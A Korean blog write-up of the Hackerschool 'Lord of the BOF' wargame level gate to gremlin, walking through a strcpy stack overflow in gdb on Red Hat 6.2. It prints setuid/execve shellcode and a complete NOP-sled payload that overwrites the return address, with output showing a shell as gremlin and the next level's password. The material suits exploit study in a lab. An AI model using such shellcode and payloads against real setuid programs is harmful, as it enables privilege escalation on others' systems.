[lob] 해커스쿨 gate -> gremlin 풀이

l 해커스쿨 gate 풀이

실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2

 

** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **


 

LOB 문제를 풀기 위한 접속 방법은 아래 링크를 참고하시면 됩니다.

 

https://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885

 

https://www.hackerschool.org/HS_Boards/zboard.php?id=HS_Notice&no=1170881885

[BOF-BufferOverflow- 원정대란?] 비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지 수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다. [접속 방법] BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다. 따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다. [다운로드] 1. 다음 Vmware 이미지를 다운받아 부팅한다. h

www.hackerschool.org

 

 

 

 

 

 

 

gate 문제의 아이디인  gate 와 password인   gate 을 입력하여 gate의 유저로 접속합니다.

 

 

 

[gate@localhost gate]$ ls -l
total 16
-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin
-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

 

 

 

 ls -l  명령어를 사용하여 현재 위치( /home/gate ) 아래에 있는 디렉터리의 목록을 확인합니다.

목록들 중 gremlin.c파일을 읽어 어떤 식으로 문제를 풀어야 하는지 보도록 하겠습니다.

 

 

 

[gate@localhost gate]$ cat gremlin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/

int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

 

 

 

cat 명령어를 사용하여 gremlin.c파일을 확인해본 결과 위의 코드와 힌트를 볼 수 있습니다.

 

주석에 simple BOF라고 쓰여 있는 것을 보니 버퍼오버플로우를 이용한 문제인 것 같습니다.

 

 

 

[gate@localhost gate]$ cp gremlin gate
[gate@localhost gate]$ ls -l
total 28
-rwsr-sr-x    1 gate     gate        11987 Jan 10 10:32 gate
-rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin
-rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

 

 

 

문제를 풀기 전 퍼미션 문제 때문에 gremiln 파일을 복사해 gate라는 이름의 파일을 하나 생성하였습니다.

 

 

 

[gate@localhost gate]$ gdb gate
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>
:       push   %ebp 
0x8048431 <main+1>:     mov    %esp,%ebp
0x8048433 <main+3>:     sub    $0x100,%esp
0x8048439 <main+9>:     cmpl   $0x1,0x8(%ebp)
0x804843d <main+13>:    jg     0x8048456 <main+38>
0x804843f <main+15>:    push   $0x80484e0
0x8048444 <main+20>:    call   0x8048350  <printf>
0x8048449 <main+25>:    add    $0x4,%esp
0x804844c <main+28>:    push   $0x0
0x804844e <main+30>:    call   0x8048360  <exit>
0x8048453 <main+35>:    add    $0x4,%esp
0x8048456 <main+38>:    mov    0xc(%ebp),%eax
0x8048459 <main+41>:    add    $0x4,%eax
0x804845c <main+44>:    mov    (%eax),%edx
0x804845e <main+46>:    push   %edx
0x804845f <main+47>:    lea    0xffffff00(%ebp),%eax
0x8048465 <main+53>:    push   %eax
0x8048466 <main+54>:    call   0x8048370  <strcpy>
0x804846b <main+59>:    add    $0x8,%esp
0x804846e <main+62>:    lea    0xffffff00(%ebp),%eax
0x8048474 <main+68>:    push   %eax
0x8048475 <main+69>:    push   $0x80484ec
0x804847a <main+74>:    call   0x8048350  <printf>
0x804847f <main+79>:    add    $0x8,%esp
0x8048482 <main+82>:    leave
0x8048483 <main+83>:    ret
0x8048484 <main+84>:    nop
0x8048485 <main+85>:    nop
...

End of assembler dump.

 

 

 

gate 파일을 gdb로 분석해보도록 하겠습니다. 
disas main 명령을 통해 main의 어셈블리 코드를 보겠습니다. 우리는 여기서 빨간색 부분을 집중해 보도록 할 것입니다.

 

 

1. 0x8048433 <main+3>:     sub    $0x100,%esp 

0x100을 십진수로 변환하면 256입니다. 위의 코드는 스택에 256byte의 영역을 할당하는 것을 의미합니다.

 

 

2. 0x8048466 <main+54>:    call   0x8048370  <strcpy>

gremlin.c 코드상에서 strcpy 부분을 보면 buffer에 argv[1]의 문자열을 대입하고 있습니다. 스택에 인자가 push 되는 순서는 argv[1]가 먼저 push 되고, 그다음 buffer가 push 됩니다. 따라서 <main + 47>의 ebp - [0xffffff00의 2의 보수 취한 값]이 buffer의 시작 위치가 됩니다. 

 

00000000 => 11111111 => 100000000 = 256

buffer의 시작 지점이 ebp - 256부터인 것을 알 수 있습니다. 

 

 

 

메모리 구조를 보면 아래와 같습니다.

 

buffer 공간의 크기를 보니 셸 코드가 들어갈 공간이 충분한 것을 알 수 있습니다. gremlin.c 코드상에서 setuid 와 같은 함수가 없기 때문에 셸 취득 코드와 setuid의 함수가 들어간 41byte의 셸 코드를 사용하도록 하겠습니다.

 

 

그전에 buffer에 셸 코드를 넣어줄 것이기 때문에 return이 수행될 때 buffer의 시작 지점으로 갈 수 있도록 해주어야 합니다. 따라서 buffer의 시작 주소를 먼저 찾도록 하겠습니다.

 

 

 

(gdb) b *main+59
Breakpoint 1 at 0x804846b
(gdb) r `python -c 'print "A"*100'`
Starting program: /home/gate/gate `python -c 'print "A"*100'`

Breakpoint 1, 0x804846b in main ()
(gdb) x/50x $esp
0xbffff9d0:     0xbffff9d8      0xbffffc26      0x41414141     0x41414141
0xbffff9e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa20:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x40026100
0xbffffa40:     0x4001ead0      0x400143e0      0x40020290      0x400143e0
0xbffffa50:     0x400140d4      0x0177ff8e      0xbffffadc      0x08048244
0xbffffa60:     0x40021590      0x400143e0      0xbffffe29      0xbffffacf
0xbffffa70:     0x00000020      0x401081ec      0xbffffab0      0x4000a7fd
0xbffffa80:     0x40010c27      0x40014680      0x00000007      0x4000a74e
0xbffffa90:     0x08049510      0x4000ae60



 

 

 

 

인자로 A 100개를 넘겨주었습니다. 따라서 buffer의 시작 지점은 0x41414141이 처음 나오는 0xbffff9d8 임을 알 수 있습니다.

 

buffer의 시작 주소를 알았으니 셸 코드와 함께 페이로드를 구성해보도록 하겠습니다.

 

 

| 셸 코드

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

 

buffer는 esp - 256부터 시작하므로 sfp까지 총 260byte를 채워주어야 하고, return 주소에 buffer의 시작 주소를 넣어주어야 합니다. 따라서 아래와 같이 페이로드를 만들 수 있습니다.

 

 

 

 

| 페이로드

./gremlin `python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\xd8\xf9\xff\xbf"'`

 

 

buffer의 시작 지점에서부터 \x90로 200byte를 채우고, 셸 코드로 41byte를 채운 뒤 나머지 19byte를 다시 \x90으로 채웠습니다. 그리고 return 주소에는 buffer의 시작 주소를 넣어주었습니다. 

 

 

 

 

[gate@localhost gate]$ bash2
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*19+"\xd8\xf9\xff\xbf"'`
1À°1Í€‰Ã‰Á1À°FÍ€1ÀPh//shh/bin‰ãPS‰á‰Â°
                                      Í€Øùÿ¿
bash$ id
uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)
bash$ my-pass
euid = 501
hello bof world

 

 

 

LOB 문제를 풀 때에는 bash2를 필수적으로 입력해주셔야 합니다.

 

bash2를 입력 후 위의 페이로드를 넣어보니 uid가 gremlin으로 나오며 셸을 취득할 수 있었습니다. 셸 취득 후 my-pass를 입력하게 되면 gremlin user의 password를 알 수 있습니다.

 

 

 

 

l gremlin 비밀번호

더보기

euid = 501 
hello bof world

 

이 글을 공유하기

댓글

Designed by JB FACTORY